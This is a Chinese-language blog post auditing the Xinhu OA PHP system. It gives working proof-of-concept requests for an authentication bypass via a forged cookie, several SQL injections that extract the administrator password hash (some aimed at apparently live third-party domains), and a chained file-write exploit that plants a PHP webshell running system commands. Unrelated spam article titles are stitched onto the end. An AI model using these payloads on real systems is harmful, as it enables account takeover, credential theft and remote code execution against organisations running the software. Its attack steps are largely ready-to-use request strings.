title: 某oa系统的审计

date: 2018-03-07 17:18:16

tags:

---

信呼OA

闲着没事,java学累了来整理下以前审的一个觉得很有意思的cms,这个作者写的比较灵活,同时灵活也代表着凌乱,很多不严谨导致的很多问题,也许也是oa系统相对于一些其他类型的站点要复杂,前期架构没设计好就很容易造成诸多不便还有些问题。这个cms我觉得最有意思的就是webmainAction.php当中的一些public开头的公共方法比如publicsavevalue这样,基本都是做三件事第一有个beforexxx还有个xxx还有afterxxx会去做一些有关的事,最重要的是这些方法都是可控的,不好表述具体仔细看代码会明白,总之感觉这是一个非常灵活的cms,同时又有颇多的问题,这里逻辑层面还做的比较繁杂,仔细推敲一定还能找着不少有关逻辑层面的洞,这里简单发几个。

1.管理员登录验证绕过,可直接登录任意在线用户

在\xinhu\webmain\task\mode\modeAction.php控制器中的initAction方法,可以看到接收用户传递的adminid还有token,之后将其带入login模型的autologin方法,该方法作用是实现快速登录,具体看一下public function autologin($aid=0, $token='', $ism=0)

{

$baid = $this->adminid;

if($aid>0 && $token!=''){

$rs = $this->getone("`uid`='$aid' and `token`='$token' and `online`=1",'`name`');

if(!$rs)exit('illegal request2');

$this->setsession($aid, $rs['name'], $token);

$baid = $aid;

}

if($baid==0){

$uid = (int)$this->rock->cookie('mo_adminid','0');//用cookie登录

$onrs = $this->getone("`uid`=$uid and `online`=1",'`name`,`token`,`id`,`uid`');

if($onrs){

$this->setsession($uid, $onrs['name'], $onrs['token']);

$this->update("moddt='".$this->rock->now."'", $onrs['id']);

}else{

$uid = 0;

}

$baid = $uid;

}

return $baid;

}

}

看到这里$this->adminid值的获取public function initRock()

{

$this->jm = c('jm', true);

$this->adminid = (int)$this->session('adminid',0);

$this->adminname= $this->session('adminname');

$this->adminuser= $this->session('adminuser');

}

看到默认值为0

这里进入第二个if,发现这里仅仅验证cookie,得到一个uid,带入数据库查询这个uid,uid存在并且用户在线状态为1就进入if($onrs) 当中,同时设置session,并且成功登录。

利用方式(官网demo):?m=mode&d=task&a=init&adminid=0&token=11

首先设置Cookie: xinhu_mo_adminid=1;然后访问该控制器

访问前台:成功登录!

2.前台登录接口注入

登陆接口处存在注入,无需登录,可获取管理员hash、token等重要凭据

首先\webmain\task\api\loginAction.php控制器当中的checkAction方法{

public function checkAction()

{

$adminuser = str_replace(' ','',$this->rock->jm->base64decode($this->post('user')));

$adminpass = $this->rock->jm->base64decode($this->post('pass'));

$arr = m('login')->start($adminuser, $adminpass);

if(is_array($arr)){

$arrs = array(

'uid' => $arr['uid'],

'name' => $arr['name'],

'user' => $arr['user'],

'ranking' => $arr['ranking'],

'deptname' => $arr['deptname'],

'deptallname' => $arr['deptallname'],

'face' => $arr['face'],

'apptx' => $arr['apptx'],

'token' => $arr['token'],

'iskq' => (int)m('userinfo')->getmou('iskq', $arr['uid']), //判断是否需要考勤

'title' => getconfig('apptitle'),

'weblogo' => getconfig('weblogo')

);

$uid = $arr['uid'];

$name = $arr['name'];

$user = $arr['user'];

$token = $arr['token'];

m('login')->setsession($uid, $name, $token, $user);

$this->showreturn($arrs);

}else{

$this->showreturn('', $arr, 201);

}

}

是做一个登录验证的api,其中调用的start()模型是一个具体的的登录验证,其中接受5个用户可控的参数public function start($user, $pass, $cfrom='', $devices='')

{

$uid = 0;

$cfrom = $this->rock->request('cfrom', $cfrom);

$token = $this->rock->request('token');

$device= $this->rock->request('device', $devices);

$ip = $this->rock->request('ip', $this->rock->ip);

$web = $this->rock->request('web', $this->rock->web);

中间登录过程不详细解释,其中会有一个日志记录的动作,在start方法中看到末尾m('log')->addlog(''.$cfrom.'登录', '['.$posts.']'.$loginx.''.$logins.'', array(

'optid' => $uid,

'optname' => $name,

'ip' => $ip,

'web' => $web,

'device' => $device

));

这一步将用户输入写入日志,其中过滤了单引号还有一些特殊的关键字,这里可以绕过,具体payload如下:

http://localhost/xinhu/api.php?m=login&a=check&cfrom=pc&user=hello&pass=123&ip=testip&web==(substr((seleselect*ct+pass+from+xinhu_admin+where+id+=1),1,1)="e"%26%26sleep(5))--+&device=testdevice

查询密码第一位如果为e则延时5秒

类似这样的注入应该还有一大把,懒得看,他\ 没有过滤,稍微有点心应该都晓得怎么利用

3.where处注入

没什么可分析的。poc

http://localhost/xinhu/?d=reim&m=chat&uid=1 or 1&type=group&winobj=group_14

4.where处注入

http://localhost/xinhu/?&m=kaoqinj&a=kqjcmddel&d=main&ajaxbool=true

post:id=1) and sleep(4public function kqjcmddelAjax()

{

$id = $this->post('id');

m('kqjcmd')->delete("`id` in ($id)");

showreturn();

}

5.注入

http://localhost/xinhu/api.php?a=subscribe&m=asynrun&id=1 and sleep(10) &uid&receid&recename&asynkey=2b557b98f1dc3911727681ec3f38f78c

6.注入

http://www.mianfeix.com/api.php?&m=indexreim&a=ldata

post:loaddt=MScgYW5kIDAgdW5pb24gc2VsZWN0IGlkLHVzZXIsMSwxLDEsbnVsbCxwYXNzLDEsMSBmcm9tIHhpbmh1X2FkbWluIw==sleep&type=history

7.自定义setval

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.phppublic function setsaveAjax()

{

$this->option->setval('email_sendhost@-1', $this->post('sendhost'));

$this->option->setval('email_sendport@-1', $this->post('sendport'));

$this->option->setval('email_recehost@-1', $this->post('recehost'));

$this->option->setval('email_sendsecure@-1', $this->post('sendsecure'));

$this->option->setval('email_sysname@-1', $this->post('sysname'));

$this->option->setval('email_sysuser@-1', $this->post('sysuser'));

$this->option->setval('email_receyumi@-1', $this->post('receyumi'));

$syspass = $this->post('syspass');

if(!isempt($syspass)){

$this->option->setval('email_syspass@-1', $this->jm->encrypt($syspass));

}

$this->backmsg();

}

另一个自定义val,比上面那个方便public function savecolunmsAjax()

{

$num = $this->post('num');

$modeid = (int)$this->post('modeid');

$str = $this->post('str');

$this->option->setval($num.'@'.(-1*$modeid-1000), $str,'模块列定义');

$path = m('mode')->createlistpage($modeid);

$msg = 'ok';

if($path=='')$msg='已保存,但无法从新生成列表页,自定义列将不能生效';

echo $msg;

}

http://localhost/xinhu/index.php?&m=flow&a=savecolunms&ajaxbool=true&d=main

post:num=path&str=/test/a

这不算漏洞,但是可以利用这个做一些事情。

8.输出显示val

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\task\api\loginAction.phppublic function checkewmAction()

{

$randkey = $this->get('randkey');

$val = $this->option->getval($randkey);

echo $val;

//echo $val;exit();

//echo $val;

$data['val'] = $val;

//echo $randkey;exit();

if(isempt($randkey))$this->showreturn($data);

if($val>'0'){

$dbs = m('admin');

$urs = $dbs->getone("`id`='$val' and `status`=1",'`name`,`user`,`face`,`pass`');

if(!$urs){

$val = '-1';

}else{

$data['user'] = $urs['user'];

$data['face'] = $dbs->getface($urs['face']);

$data['pass'] = md5($urs['pass']);

}

$this->option->delete("`num`='$randkey'");

}

$data['val'] = $val;

$this->showreturn($data);

}

http://localhost/xinhu/index.php?&m=email&a=setsave&d=system&ajaxbool=true

post:sendhost=1

http://localhost/xinhu/api.php?&m=login&a=checkewm&randkey=email_sendhost

9.输出显示val

获取服务段加密数据

poc:

http://www.realfoodco.cn/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

post:storeafteraction=savebeforecog&emailpass=admin&id=1public function savebeforecog($table, $cans)

{

$emailpass = $this->post('emailpass');

if(!isempt($emailpass)){

$cans['emailpass'] = $this->jm->encrypt($emailpass);

}

return array(

'rows' => $cans

);

}

写文件GETSHELL

这是一个很有意思的漏洞,由于该框架的实现相当灵活,这里我是利用了一些组合调用来完成的上面的7、8、9都是我为了这一步做的一些铺垫。这里姿势比较多我只介绍了一种,有幸看到文章的师傅也可以试一试

首先看问题所在的函数,C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\webmainAction.phppublic function exceldown($arr)

{

$fields = explode(',', $this->post('excelfields','',1));

$header = explode(',', $this->post('excelheader','',1));

$title = $this->post('exceltitle','',1);

$rows = $arr['rows'];

$exceltype = $this->post('exceltype','xls'); //保存文件类型

$headArr = array();

for($i=0; $i

$headArr[$fields[$i]] = $header[$i];

}

$url = c('html')->execltable($title, $headArr, $rows, $exceltype);

$this->returnjson(array(

'url' => $url,

'totalCount'=> $arr['totalCount'],

'downCount' => count($rows)

));

}

这里看到默认上传接受的文件后缀是xls,这个后缀传递给c('html')->execltable模型,看看这个模型的实现/**

* 创建excel导出表格

*/

public function execltable($title, $headArr, $rows, $lx='')

{

if($lx=='')$lx='xls';

$borst = '.5pt';

$sty = 'style="white-space:nowrap;border:'.$borst.' solid #000000;font-size:12px;"';

$s = '

'.$title.'';

$s .= '

$hlen = 1;

$s1='

序号';

foreach($headArr as $na){

$hlen++;

$s1.='

'.$na.'';

}

$s1.='

';

$s.='

'.$title.'';

$s.=$s1;

foreach($rows as $k=>$rs){

$s.='

';

$s.='

'.($k+1).'';

foreach($headArr as $kf=>$na){

$val = '';

if(isset($rs[$kf]))$val=$rs[$kf];

$s.='

'.$val.'';

}

$s.='

';

}

$s.='

';

$s.='';

$mkdir = ''.UPDIR.'/logs/'.date('Y-m').'';

if(!contain(strtolower(PHP_OS),'win')){

$title = c('pingyin')->get($title, 1);//linux要用拼音,不然会乱码

}

$filename = ''.$title.'_'.date('d_His').'.'.$lx.'';

$filename = str_replace('/','',$filename);

$url = ''.$mkdir.'/'.$filename.'';

$bo = $this->rock->createtxt(iconv('utf-8','gb2312',$url), $s);

return $url;

}

文件名自始至终没有一个检测,利用这里我们可以写入任意文件,但是有几点需要注意,首先需要写进文件的变量是$title, $headArr,$arr,前两个是用户post后然后加密一次的变量,arr变量是调用该方法传入的一个数组参数。我这里考虑使用前者两个变量写shell,因为这样我的数据包是一次加密的这样比较隐蔽,但是这个加密函数是内部实现的,我该如何将我的字符串使用网站加密再返回给我?找到这么一个函数

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.phppublic function savebeforecog($table, $cans)

{

$emailpass = $this->post('emailpass');

if(!isempt($emailpass)){

$cans['emailpass'] = $this->jm->encrypt($emailpass);

}

return array(

'rows' => $cans

);

}

post('emailpass')后返回回去,有了这个函数,还有漏洞,就差一把枪,也就是该如何调用。

由于这个框架直接路由调用的方法都是以Ajax或者Action结尾的方法,这两个方法都不能如此直接路由调用,这里就找到一些公共方法。首先是加密这一块,我调用publicstoreAjax()方法,其中会接受参数进行下一步的操作

访问

http://localhost/xinhu/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

post数据:storeafteraction=savebeforecog&emailpass=<?php system("ipconfig")?>&id=1

这样生成加密字符串

拿到加密字符串后开始正式写shell

访问:http://localhost/xinhu/index.php?&a=publicsavevalue&ajaxbool=true

post数据:fieldsafteraction=exceldown&exceltype=php&excelheader=hx0oh0kt0nnl0lt0tv0ok0nxp0ll0kn0nxh0nvv0nxx0tn0ho0nno0tk0ot0tu0nnv0ll0tn0th0nnh0lh0nxl0lx0nnv0lx0nvn0tp0nnv0hx0nvv0kv0kh03

写文件

生成成功,验证一下

由于我写入的字符串post的时候就是加密一次的,所以这里自带过滤,可以过一些waf等防护

www.oa.lx index.php,某oa系统的审计相关推荐

  1. www.oa.lx index.php,OA - 其它资源 - 源码中国

    压缩包 : 73462685oa.rar 列表 gagsj\body.asp gagsj\Default0.asp gagsj\main.asp gagsj\menu.asp gagsj\menuFr ...

  2. oa是什么意思?oa系统哪个好用?

    一.oa是什么意思 oa(Office Automation办公自动化)是一种将智能化科技应用于企业管理中的应用系统.它可以通过电脑网络.互联网等技术手段,将企业的各种业务流程.各种业务数据进行集成和 ...

  3. 集团OA是什么?大型企业OA系统选型指南

    如何进行OA选型一直是企业们十分困惑又关注的问题,产品.技术.渠道.服务哪个更重要?得到的答案总是难以统一.更何况,千人千面,不同企业之间总是千差万别的,不同行业的企业,不同规模的企业对于OA系统的需 ...

  4. 点晴OA是如何让用户成为系统主人的

    点晴OA是如何让用户成为系统主人的 OA系统作为全员应用系统,易用性和用户体验是项目成败的关键要素.向来看重项目成功率的点晴OA软件,继续发挥其易上手.易使用.易设置的优势,提倡"让用户做系 ...

  5. java计算机毕业设计OA办公系统设计与实现MyBatis+系统+LW文档+源码+调试部署

    java计算机毕业设计OA办公系统设计与实现MyBatis+系统+LW文档+源码+调试部署 java计算机毕业设计OA办公系统设计与实现MyBatis+系统+LW文档+源码+调试部署 本源码技术栈: ...

  6. OA选型分析:华天动力OA办公系统详解

    一款好的OA办公软件除了功能齐全之外,它在技术层面还需要满足比如开放.稳定.兼容等诸多特征.专注OA十五年的华天动力,在OA办公系统领域拥有业内领先的技术开发团队,在OA系统的开放性.稳定性.兼容性. ...

  7. 大数据分析经典案例,无缝整合OA、ERP、MES等系统

    ​随着工业化和信息化的发展,传统企业公司的规模和体量都在迅速扩张,逐渐接触到运营和管理的天花板,粗放型管理带来了许多问题,精细化运营势在必行. 那么如果提高企业的运营管理效率.实现精细化运营呢?答案就 ...

  8. 计算机oa学些什么,OA是什么意思?OA可以干什么 -电脑资料

    简单点说,OA就是企业内部的信息化平台, OA可以实现将电子化审批流程.电子化公文.企业交流论坛.绩效考核表单.财务审批流程.工作报表流程等等日常办公所需内容整合进一个平台中的功能.这样一方面有利于培 ...

  9. 通达oa精灵的下载步骤_通达oa精灵app下载|通达oa精灵2018官方版下载_v2.12_9ht安卓下载...

    通达oa精灵手机版2018是一款便捷.高效的办公协助软件.能够让员工之间沟通更便捷,查询信息更方便,数据统计更高效,让您办公更轻松!新版的通达OA精灵2018使用更加流畅,消息的推送更加敏捷,再一次加 ...

最新文章

  1. 北汽蓝谷和北汽新能源
  2. matlab 2016b更改工作路径
  3. 南海有macbook吗?
  4. 系统调用软中断处理程序system_call分析
  5. Flink DataStream 编程入门
  6. p2psearcher2013源码实现原理
  7. SH760二自由度系统解析法求全解-过渡及稳态过程
  8. vertical-align的使用及解决图片底部默认空白缝隙问题和图像与文本垂直方向居中对齐
  9. (转载)计算机英语名词简释
  10. iOS country code及国际区号
  11. Photoshop CS6 安装教程
  12. 英雄联盟全球总决赛历届冠军名单
  13. Qt编写物联网管理平台17-记录清理
  14. PhotoShop中的自由变换UI实现
  15. Bugzilla 操作手册
  16. XR,VR,AR虚拟服务器,虚拟演播室
  17. 电脑管家怎么关闭右键深度加速(小火箭)功能
  18. 电子技术基础(三)__电路分析基础之重点__叠加原理
  19. c语言未定义标识符fife,C语言编程处理数据
  20. fudge函数C语言,计算机本科C语言第九章讲.ppt

热门文章

  1. docker持续部署_具有持续部署和Docker的完美版本
  2. EXCEL----计算两个日期 间隔的天数、小时数、分钟数及秒数
  3. python向自己qq邮箱发信息_python使用QQ邮箱发送邮件
  4. Stale branches 设置_Adams高性能算法:想要算的快就这么设置
  5. python中单引号和双引号的区别_python中单引号和双引号的区别
  6. 零拷贝机制(Zero Copy)
  7. 【cpu处理器分析】【AP】【bp】【cp】
  8. matlab 服务器错误 电子表格,使用 Excel 作为自动化服务器读取电子表格数据
  9. 《东周列国志》第十五回 雍大夫计杀无知 鲁庄公乾时大战
  10. python安全工具开发_Python安全工具开发实践 - 安全牛课堂 - 领先的信息安全在线教育平台...